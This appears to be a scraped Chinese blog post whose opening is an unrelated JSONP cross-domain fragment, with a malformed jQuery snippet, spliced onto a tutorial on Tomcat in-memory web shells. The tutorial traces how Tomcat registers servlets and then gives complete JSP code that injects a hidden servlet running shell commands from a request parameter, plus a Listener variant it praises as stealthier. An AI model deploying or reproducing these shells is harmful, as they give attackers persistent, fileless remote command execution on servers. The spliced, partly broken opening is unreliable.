console.log('Your public IP address is: ' + data.ip);
};
1
2
3
4
5
6
7
8
<script src="http://example.com/data.php?callback=dosomething"></script>

<script type="text/javascript">
function dosomething(jsondata){
//处理获得的json数据
}
</script>

jquery用法

1
2
3
4
5
<script type="text/javascript">
$.getJSON('http://example.com/data.php?callback=?,function(jsondata)'){
//处理获得的json数据
};
</script>

JSONP的优缺点
优点:它不像XMLHttpRequest对象实现的Ajax请求那样受到同源策略的限制;它的兼容性更好,在更加古老的浏览器中都可以运行,不需要XMLHttpRequest或ActiveX的支持;并且在请求完毕后可以通过调用callback的方式回传结果。

缺点:它只支持GET请求而不支持POST等其它类型的HTTP请求;它只支持跨域HTTP请求这种情况,不能解决不同域的两个页面之间如何进行JavaScript调用的问题

jsonp实现流程

1、服务端必须支持jsonp,且拥有jsonp跨域接口(前提)

2、浏览器客户端声明一个回调函数,其函数名作为参数值,要传递给跨域请求数据的服务器,函数形参为要获取到的返回目标数据

3、创建一个

之前入门先把Filter类型的内存马弄了下,把Servlet的也搞下

Servlet Demo

Servlet接口类有五个接口,分别是init(Servlet对象初始化时调用)、getServletConfig(获取web.xml中Servlet对应的init-param属性)、service(每次处理新的请求时调用)、getServletInfo(返回Servlet的配置信息,可自定义实现)、destroy(结束时调用)

图片

其中主要的逻辑是在Service里实现,自己随便写点

图片

其中,对应的web.xml如下配置

1
2
3
4
5
6
7
8
9
10
11
12
13
<!--Demo-->
<servlet>
    <servlet-name>servletDemo</servlet-name>
    <servlet-class>com.java.Memory.ServletDemo</servlet-class>
    <init-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>WEB-INF/dispatcher-servlet.xml</param-value>
    </init-param>
</servlet>
<servlet-mapping>
    <servlet-name>servletDemo</servlet-name>
    <url-pattern>/servlet</url-pattern>
</servlet-mapping>

注入Servlet

从前面的Servlet Demo可以看到,Servlet 的生命周期开始于Web容器的启动时(解析加载web.xml配置的servlet对象),它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。这里也就是说,一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。

要注入servlet,就需要在tomcat启动之后动态添加Servlet。Tomcat7之后的版本,在StandardContext中提供了动态添加Servlet类的方法:

图片

之前在Filter篇讲过Container里的四大组件分别为Engine.Host.Context和Wrapper

根据文档可知:

Engine,实现类为 org.apache.catalina.core.StandardEngine

Host,实现类为 org.apache.catalina.core.StandardHost

Context,实现类为 org.apache.catalina.core.StandardContext

Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

这里提个小插曲,针对于javaweb的三大件Listener.Servlet,Filter

这三者的启动顺序是Listener->Filter->Servlet

Wrapper代表(负责管理)一个Servlet,而Context中包含了一个或多个Warpper(即Servlet)

Servlet 生成与配置

如何创建一个Wapper,并配置好Servlet进行动态添加呢?

首先得有一个创建Wapper实例的东西,这里可以从StandardContext.createWapper()获得一个Wapper对象

图片

前面说到过,Context 负责管理 Wapper ,而 Wapper 又负责管理 Servlet 实例。当获取到StandardContext对象,就可以用 createWapper() 来生成一个 Wapper 对象。

接下来就是配置Servlet,探究配置过程,在 org.apache.catalina.core.StandardWapper#setServletClass() 下断点

图片

图片

追溯到上一级configureStart,开始配置webconfig:

图片

webConfig() 中读取了 web.xml

图片

然后根据 web.xml 配置 context

图片

configureContext() 中依次读取了 Filter、Listener、Servlet的配置及其映射,我们直接看 Servlet 部分

图片

图片

使用context对象的createWrapper()方法创建了Wapper对象,然后设置了启动优先级LoadOnStartUp,以及servlet的Name

图片

接着配置了Servlet的Class

图片

最后将创建并配置好的 Wrapper 加入到 Context 的 Child 中。通过循环遍历所有 servlets 完成了 Servlet 从配置到添加的全过程,接下来就需要添加Servlet-Mapper了

图片

图片

 取出web.xml中所有配置的Servlet-Mapping,通过context.addServletMappingDecoded()将url路径和servlet类做映射。

总结一下,Servlet的生成与动态添加依次进行了以下步骤:

1
2
3
4
5
6
7
8
9
10
11
1. 通过 context.createWapper() 创建 Wapper 对象;

2. 设置 Servlet 的 LoadOnStartUp 的值;

3. 设置 Servlet 的 Name;

4. 设置 Servlet 对应的 Class;

5. 将 Servlet 添加到 context 的 children 中;

6. 将 url 路径和 servlet 类做映射。

简单的Servlet内存马

首先写一个 Servlet 恶意类,实现为 service() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<%!
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {
 
        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {
 
        }
    };
%>

获取到 StandardContext

1
2
3
4
5
6
7
<%
    // 一个小路径快速获得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext stdcontext = (StandardContext) req.getContext();
%>

根据之前研究的,按照步骤添加Servlet

1
2
3
4
5
6
7
8
<%
    Wrapper newWrapper = stdcontext.createWrapper();
    String name = servlet.getClass().getSimpleName();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());
%>

最后将 URL 路径与 Servlet 恶意类做映射

1
2
3
4
5
<%
    // url绑定
    stdcontext.addChild(newWrapper);
    stdcontext.addServletMappingDecoded("/metaStor", name);
%>

最后组合一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
    public static class servletTest extends HttpServlet {
        @Override
        public void doGet(HttpServletRequest httpRequest, HttpServletResponse httpResponse) throws ServletException, IOException {
            System.out.println("doGet被调用");
            //servletResponse.getOutputStream().write("doGet被调用".getBytes());

            if (httpRequest.getParameter("c") != null) {
                System.out.println("eval");
                //String[]  command = new String[]{"sh", "-c", request.getParameter("c")};
                String command = httpRequest.getParameter("c");
                //System.out.println(Arrays.toString(command));
                InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
                Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
                String output = scanner.hasNext() ? scanner.next() : "";
                httpResponse.getOutputStream().write(output.getBytes());
                httpResponse.getOutputStream().flush();
                //servletResponse.getWriter().write(output);
                //servletResponse.getWriter().flush();

            }
        }

        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            System.out.println("doPost被调用");
            doGet(req, resp);
        }

        @Override
        public void init() throws ServletException {
            System.out.println("servlet demo init!");
        }
    }
%>
<%
    servletTest servlet=new servletTest();
    // 一个小路径快速获得StandardContext,这两种都行,这个常用一点
    // Field reqF = request.getClass().getDeclaredField("request");
    // reqF.setAccessible(true);
    // Request req = (Request) reqF.get(request);
    // StandardContext stdcontext = (StandardContext) req.getContext();

    // 获取StandardContext
    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext stdcontext = (StandardContext)webappClassLoaderBase.getResources().getContext();



    org.apache.catalina.Wrapper newWrapper = stdcontext.createWrapper();
    String name = servlet.getClass().getSimpleName();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());



    // url绑定
    stdcontext.addChild(newWrapper);
    stdcontext.addServletMappingDecoded("/servlet", name);
    System.out.print("注入成功");

%>

这里把Listener的Demo一起放,稍微看了下具体原理差不多,细节改下就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%!
    public  class listenerDemo implements ServletRequestListener{
        @Override
        public void requestDestroyed(ServletRequestEvent sre){
            System.out.println("linstener Destroyed!");
        }

        @Override
        public void requestInitialized(ServletRequestEvent sre){
            System.out.println("linstener Initialized!");
            String command = sre.getServletRequest().getParameter("fuck");
            try {
                Runtime.getRuntime().exec(command);
            } catch (IOException e) {
                e.printStackTrace();
            }

        }
    }
%>
<%
    // 一个小路径快速获得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();

    listenerDemo listenerdemo = new listenerDemo();
    context.addApplicationEventListener(listenerdemo);
%>

这个listener的形式优先级最高,代码量最小,而且由于servrlet的特性,每次都会销毁实例,隐蔽性更高一点点